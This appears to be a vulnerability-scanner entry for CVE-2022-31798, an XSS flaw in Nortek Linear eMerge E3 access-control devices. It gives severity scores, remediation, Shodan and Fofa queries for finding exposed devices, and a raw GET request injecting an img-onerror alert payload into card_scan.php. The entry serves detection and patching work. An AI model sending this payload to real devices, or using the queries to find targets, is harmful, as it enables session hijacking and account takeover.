| Title | Nortek Linear eMerge E3-Series - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Nortek Linear eMerge E3-Series. |
| CVSS Score | 6.1 |
| EPSS Score | 0.74601 |
| CVE ID | CVE-2022-31798 |
| CWE ID | CWE-384 |
| Shodan Query | http.title:"eMerge"http.title:"emerge"http.title:"linear emerge" |
| Fofa Query | title="emerge"title="linear emerge" |
| Tags | cve2022 cve emerge nortek xss packetstorm nortekcontrol vuln |
There is a local session fixation vulnerability that, when chained with cross-site scripting, leads to account take over of admin or a lower privileged user.
GET /card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31798.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-31798.pcap
N/AN/A